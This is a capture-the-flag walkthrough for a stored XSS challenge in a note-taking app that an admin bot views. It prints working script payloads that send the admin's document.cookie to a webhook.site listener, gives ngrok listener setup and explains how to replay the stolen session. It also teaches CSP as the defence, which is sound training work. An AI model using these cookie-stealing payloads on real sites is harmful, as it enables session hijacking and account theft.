Description
A note-taking web app stores user-created notes that are later viewed by an admin bot using a headless browser. Notes are not sanitized, enabling stored XSS.
Inject a script into a note to steal the admin's session cookie when the bot views it.
Setup
Register an account and create a note with an XSS payload.
Set up an HTTP listener (webhook.site, requestbin, or netcat) to receive the exfiltrated cookie.
Report the malicious note URL to the admin bot trigger.
# Set up listener at https://webhook.site (free)
# Or: python3 -m http.server 8080 (requires public IP / ngrok)Solution
Walk me through it- Step 1Create a note with a stored XSS payloadThe note content is rendered without HTML sanitization. Inject a script tag that redirects the admin's browser to your listener with their cookie appended.
Learn more
Stored XSS(also called persistent XSS) occurs when user-supplied input is stored in the server's database and later rendered unsanitized in another user's browser. Unlike reflected XSS (where the payload is in the URL), stored XSS persists and affects every visitor who views the page.
A classic cookie-stealing payload:
<script>document.location='https://webhook.site/YOUR-UUID?c='+document.cookie</script>When the admin bot visits the note, its browser executes the script, concatenates its cookie to the URL, and navigates to your listener. The cookie appears in your webhook logs.
Alternative payloads that don't redirect (useful if a page redirect would lose context):
<script>fetch('https://webhook.site/UUID?c='+btoa(document.cookie))</script> - Step 2Set up an exfiltration listenerUse webhook.site (easiest: no setup required) or run a local server behind ngrok to receive the HTTP request containing the admin's cookie.bash
# Option 1: use https://webhook.site - copy your unique URL # Option 2: run local server + ngrok python3 -m http.server 8080 ngrok http 8080 # Use the ngrok HTTPS URL in your XSS payloadLearn more
The exfiltration server only needs to log incoming HTTP requests. webhook.site provides a free unique URL and shows all incoming requests in a web dashboard - perfect for CTFs. For longer-lived or repeated attacks, Burp Collaborator or a self-hosted listener provides more control.
ngrok creates a secure tunnel from a public URL to your local server, which is necessary if the admin bot runs on the challenge server (not your local network) and needs to reach your listener.
Base64-encoding the cookie with
btoa()avoids issues with special characters in the URL (like=and;in cookie values), which might be truncated or encoded by the browser. - Step 3Submit the note to the admin bot and extract the flagUse the challenge's 'report to admin' feature to submit your malicious note URL. The bot visits it, executes your script, and sends its session cookie to your listener.
Learn more
Admin bots in CTF web challenges simulate a privileged user (usually with a flag stored in their session or cookies) that periodically visits reported URLs using a headless browser like Puppeteer, Playwright, or Selenium. These bots often have the flag in a cookie like
flag=picoCTF{...}or in a page only accessible when authenticated as admin.Once you have the session cookie, you can either: (1) decode the JWT or session token to find the flag directly, or (2) set the cookie in your own browser (using DevTools > Application > Cookies) and navigate to the admin-only page.
Content Security Policy (CSP) is the primary defense against XSS. A strict CSP like
script-src 'self'would block inline scripts. This challenge either has no CSP or a weak one that permits inline scripts. Always check the response headers with DevTools orcurl -I.
Flag
picoCTF{...}
This challenge was not solved during the competition. Inject a cookie-stealing XSS payload into a note, then report the note URL to the admin bot to exfiltrate the flag from the admin session.